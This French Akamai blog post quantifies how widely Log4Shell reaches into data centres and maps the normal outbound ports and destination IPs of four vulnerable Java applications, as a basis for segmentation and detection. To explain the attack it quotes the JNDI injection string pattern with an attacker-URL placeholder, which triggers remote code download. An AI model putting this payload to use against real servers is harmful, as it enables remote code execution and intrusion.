Quantification de Log4Shell : Vulnérabilité à grande échelle
Tout ce que vous enregistrez peut être et sera utilisé contre vous
La vulnérabilité de Log4Shell ne disparaîtra pas. Il y a beaucoup de spéculations sur la portée et l'impact réel de cette vulnérabilité : si beaucoup l'ont qualifiée de « grave », les informations sont limitées quant à l'étendue du risque. Afin de faire la lumière sur ce problème, Akamai Threat Labs utilise sa visibilité dans de nombreux centres de données à travers le monde pour évaluer le risque réel que Log4Shell représente pour les organisations.
Principales constatations :
Les deux tiers de tous les serveurs Java inspectés comprenaient une bibliothèque Log4j vulnérable
91 % des centres de données examinés exécutent des applications Java côté serveur ; parmi eux, plus de 40 % comprennent des serveurs Java tournés vers Internet
Si l'on examine les modèles de communication sortante, la grande majorité des applications Java examinées communiquent sur un nombre réduit de ports
L'analyse des modèles de communication sortante peut aider les organisations à détecter les comportements anormaux et à atténuer une partie du risque posé par Log4Shell
Pour une analyse plus approfondie des tendances d'exploitation de Log4Shell, basée sur la visibilité étendue d'Akamai sur l'activité en ligne, consultez le blog d'Akamai sur le sujet.
Introduction
Akamai Guardicore Segmentation est utilisé dans des centaines de centres de données dans le monde, car elle offre une visibilité et une application du réseau au niveau des processus. En d'autres termes, la visibilité du réseau au niveau des processus nous permet de voir chaque connexion réseau effectuée au sein du réseau, et de savoir quel processus a initié la connexion sur l'actif source, mais aussi quel processus l'a reçue sur l'actif de destination.
Ce déploiement étendu, associé à ces informations uniques de processus à processus, nous permet d'étudier les schémas de communication des réseaux à l'intérieur des centres de données et des réseaux dans le cloud, ainsi qu'à travers leurs périmètres. Avec ces informations, nous pouvons tirer des conclusions sur toute l'ampleur du risque posé par Log4Shell sur nos vies digitales et ce que les spécialistes de la sécurité des réseaux peuvent faire pour le limiter.
Cet article de blog est divisé en deux parties. La première met en lumière la surface d'attaque des organisations — en d'autres termes, la probabilité qu'une organisation soit vulnérable à Log4Shell. La deuxième partie s'intéressera à certaines applications vulnérables largement utilisées dans les environnements de production et décrira leurs schémas de communication normaux. Cela devrait fournir aux défenseurs des informations qui les aideront à segmenter correctement ces applications et à empêcher leur exploitation.
Quantifier le risque posé par Log4Shell
Pour comprendre la prévalence de Java dans les organisations, nous avons recueilli des données auprès de plus de 200 centres de données différents dans le monde, de secteurs et de tailles variés. Dans chaque centre de données, nous avons identifié les serveurs tournés vers Internet, ainsi que les serveurs exécutant Java qui acceptent les connexions réseau. Nous avons pris en compte à la fois les processus Java (java.exe, java pour Linux, javaw, etc.) et les processus qui chargent la machine virtuelle Java dans leur propre mémoire.
Évaluer le risque — la prévalence de Log4j dans les centres de données
Si les spéculations concernant l'ampleur et la portée de la vulnérabilité abondent, l'examen des centres de données nous permet d'utiliser des données pour quantifier le risque posé par la vulnérabilité Log4Shell.
L'équipe a trouvé un grand nombre de serveurs vulnérables aux attaques de Log4Shell dans les environnements examinés. En fait, nous avons constaté que dans ces environnements, en moyenne, deux tiers de tous les serveurs Java comprenaient une bibliothèque Log4j vulnérable. Dans certains environnements, plus de 90 % de toutes les machines Java étaient vulnérables. Ce chiffre est beaucoup plus élevé que ce que nous avions prévu à l'origine et donne une sinistre image de l'ampleur de la vulnérabilité.
Dans un autre test à plus petite échelle, l'équipe de recherche a constaté que 100 % des environnements examinés avaient au moins un serveur vulnérable à Log4Shell, avant l'application des correctifs. Cela indique le niveau de risque qui existait dans ces environnements avant la mise en ligne du correctif. Une fois que les correctifs sont lancés, nous sommes en mesure de voir le nombre d'environnements vulnérables diminuer. Cependant, il est important de comprendre que même un petit nombre de serveurs vulnérables dans un grand environnement peut introduire une surface d'attaque conséquente dans l'environnement.
Les chiffres ci-dessus sont au cœur du problème. La popularité de Log4j a fait que cette vulnérabilité s'est répandue du jour au lendemain, à une échelle rarement vue. Sachant que près des deux tiers de tous les serveurs Java sont encore vulnérables, les équipes informatiques et de sécurité doivent travailler dur pour découvrir où l'utilitaire de journalisation pourrait être utilisé et planifier des mesures d'atténuation.
Les serveurs Java tournés vers Internet présentent un risque supplémentaire
La vulnérabilité des serveurs est aggravée par leur accessibilité. Si la vulnérabilité en elle-même est une raison suffisante de s'inquiéter, un serveur tourné vers Internet présente un risque supplémentaire, car il peut être utilisé comme vecteur d'attaque pour pénétrer dans le réseau. Comme le montre l'analyse menée par Akamai dans les tendances du trafic Internet de Log4j, nous pouvons constater que les attaquants se ruent pour exploiter cette vulnérabilité par tous les moyens, et qu'ils sont très nombreux.
Dans notre étude, nous avons constaté que 91 % des centres de données exécutent des applications Java côté serveur, ce qui est inquiétant. Parmi eux, plus de 40 % incluent des serveurs Java tournés vers Internet. Cela complique encore davantage les choses. Il est beaucoup plus facile de s'en prendre aux serveurs tournés vers Internet, car ils sont facilement accessibles au monde extérieur. Dans la prochaine section de ce blog, nous nous concentrerons sur les communications sortantes des applications Java et nous ferons quelques recommandations d'atténuation pour ceux qui cherchent à surveiller et à sécuriser les serveurs tournés Internet exécutant des applications Java.
Notez toutefois que les centres de données où tous les serveurs Java sont internes (c'est-à-dire non tournés vers Internet) ne sont pas pour autant en sécurité. Si Log4Shell a été principalement perçu comme un moyen de pénétrer dans les réseaux, certains cas ont montré comment des applications Java fonctionnant sur des serveurs internes recevaient des journaux provenant de serveurs tournés vers Internet et finissaient par être compromis. Log4Shell peut donc être utilisé aussi facilement pour un mouvement latéral que pour une faille initiale.
Atténuation assistée par les données
Log4Shell est particulièrement puissant lorsqu'il est utilisé pour télécharger une charge utile depuis une machine distante, contrôlée par l'attaquant, sur la victime et l'exécuter. Pour cela, l'attaquant injecte un message de journal au format ${jndi:ldap:<URL_attaquant>}, qui finit par déclencher une connexion du processus de l'application vulnérable à l'URL intégrée. L'objet de classe Java distant est ensuite téléchargé et exécuté en mémoire.
Sachant cela, Akamai Threat Labs a commencé à mapper les schémas de communication des serveurs Java, et plus particulièrement de plusieurs applications qui sont vulnérables à Log4Shell. Comprendre comment les serveurs et les processus Java communiquent régulièrement fournit aux professionnels de la sécurité et de l'informatique des informations essentielles pour détecter et atténuer les anomalies dans leurs environnements, afin de mettre un terme à l'exploitation de Log4Shell et de permettre la poursuite des activités comme à l'accoutumée.
Mappage des communications sortantes : comment les serveurs Java communiquent-ils ?
Pour comprendre comment les serveurs Java communiquent avec Internet, nous avons commencé par quantifier le nombre de ports TCP de destination utilisés par les applications Java pour se connecter à Internet. Selon notre analyse, la grande majorité des serveurs tournés vers Internet communiquent sur très peu de ports (moins de 10).
Cela met l'accent sur l'importance et les avantages en termes de sécurité liés à la limitation des communications sortantes autorisées à partir des différents serveurs et processus de votre centre de données. À savoir, l'identification de la communication vers un port de destination pour la première fois, à partir d'un processus qui a jusqu'à présent communiqué sur un ensemble spécifique de ports, pourrait être efficace pour identifier les tentatives d'attaque.
Nous continuons cette ligne d'exploration sur une base plus détaillée concernant plusieurs applications Java courantes.
Schémas de communication spécifiques à l'application
Grâce à la visibilité unique au niveau des processus offerte par Akamai Guardicore Segmentation, Akamai Threat Labs est en mesure de recueillir des informations détaillées sur le comportement d'applications spécifiques vulnérables à Log4Shell. Ces données peuvent être utilisées pour étudier les comportements normaux de ces processus, détecter les anomalies et créer des règles de segmentation efficaces en conséquence.
L'équipe a examiné les schémas de communication de quatre applications vulnérables populaires (nous précisons entre parenthèses le processus qui déclenche le trafic réseau) :
Elasticsearch : un moteur de recherche plein texte très populaire avec une variété de cas d'utilisation (%elasticsearch%/bin/java)
Logstash : pipeline de traitement des données côté serveur utilisé pour l'acquisition et la transformation de données (/usr/share/logstash/jdk/bin/java)
VMware vCenter : une plateforme de gestion pour les machines virtuelles VMware et les hôtes VMware ESXi (%\VMware\vCenter Server\%\bin\Java.exe)
Agent Okta RADIUS : un agent utilisé pour déléguer l'authentification RADIUS à la solution de gestion d'identité Okta (okta-radius.exe)
Les questions auxquelles nous voulions répondre étaient les suivantes :
à quels ports de destination ces applications se connectent-elles généralement ?
Plus précisément, à quels ports ces applications se connectent-elles lorsque les destinations sont sur Internet ?
Nous avons obtenu des informations uniques en examinant les données agrégées provenant de divers environnements de production. Nous avons observé que les applications ont un nombre très limité de ports de destination Internet :
Logstash |
Elasticsearch |
vCenter Server |
Agent Okta RADIUS |
|
Ports de sortie |
443 53 9200 9092 80 |
9300 443 53 9301 80 |
Grand nombre de ports |
80 443 |
Internet sortant |
443 |
443 80 |
9080 902 443 80 |
80 443 |
Cependant, l'examen des ports ne sera pas toujours suffisant, car les attaquants peuvent facilement dissimuler leurs traces en modifiant les ports utilisés pour le téléchargement de la charge utile par ceux mentionnés ci-dessus.
Pour tirer des conclusions plus utiles de ces données, nous avons dû examiner les adresses IP de destination afin de comprendre ce qui constitue une activité normale sur ces ports. Masquer les traces d'attaque devient beaucoup plus difficile avec les adresses IP : si un serveur donné ne communique qu'avec une seule adresse IP sur Internet, l'attaquant devra prendre le contrôle du serveur situé derrière cette adresse IP pour y envoyer ses charges utiles malveillantes. Par conséquent, l'étude des adresses IP de destination peut être utile à des fins de protection.
L'analyse fournit une moyenne d'adresses IP uniques auxquelles chaque application se connecte pour chaque port. Un nombre faible et constant d'adresses peut ouvrir la voie à une autre opportunité de prévention et/ou de détection. En effet, si une application « parle » à très peu d'adresses IP, toutes les autres connexions peuvent être considérées comme suspectes.
Nous avons examiné le nombre d'adresses IP de destination uniques pour les ports 443 et 80 et constaté que dans presque tous les cas, leur nombre était faible et stable dans le temps :
Logstash |
Elasticsearch |
vCenter Server |
Agent Okta RADIUS |
||
Adresses Internet moyennes par port |
Port TCP 443 |
4.0 |
7.2 |
7.0 |
3.75 |
Port TCP 80 |
- |
2.0 |
1.3 |
- |
|
Le fait de comprendre que de nombreuses applications vulnérables peuvent avoir des schémas de connexion assez limités (tant en ce qui concerne les ports de destination que les adresses IP de destination) pourrait servir à la fois à réduire la surface d'attaque et à détecter les attaques.
Conclusion
La mesure d'atténuation la plus recommandée pour la vulnérabilité de Log4Shell consiste à utiliser directement une version corrigée de la bibliothèque. Cependant, comme on le sait, l'application de correctifs n'est pas toujours possible (ou rapide) dans les environnements de production.
Nos conclusions sur le comportement de communication de différentes applications vulnérables suggèrent une autre approche pour réduire la surface d'attaque et détecter l'exploitation de Log4Shell (ainsi que d'autres attaques).
Nous encourageons les administrateurs réseau à étudier les schémas de communication des applications vulnérables et à mapper leurs connexions sortantes, à la fois en ce qui concerne les adresses IP de destination et les ports de destination. Avec ces connaissances à portée de main, les défenseurs peuvent limiter ces connexions au strict minimum en autorisant le trafic uniquement sur des ports de communication standard connus.
Dans les cas où le blocage des connexions n'est pas possible, nous recommandons de surveiller les anomalies des connexions provenant de serveurs tournés vers Internet, qu'il s'agisse de nouveaux ports ou de nouvelles adresses IP. Les utilisateurs d'Akamai Guardicore Segmentation peuvent utiliser les informations au niveau des processus pour améliorer la visibilité des différentes connexions effectuées par chaque serveur. Ces données sont étudiées de manière proactive par notre équipe de recherche de menaces pour les clients de Hunt.
Pour plus d'informations sur l'atténuation des attaques Log4Shell, consultez notre blog : Atténuer les abus de Log4j à l'aide d'Akamai Guardicore Segmentation.
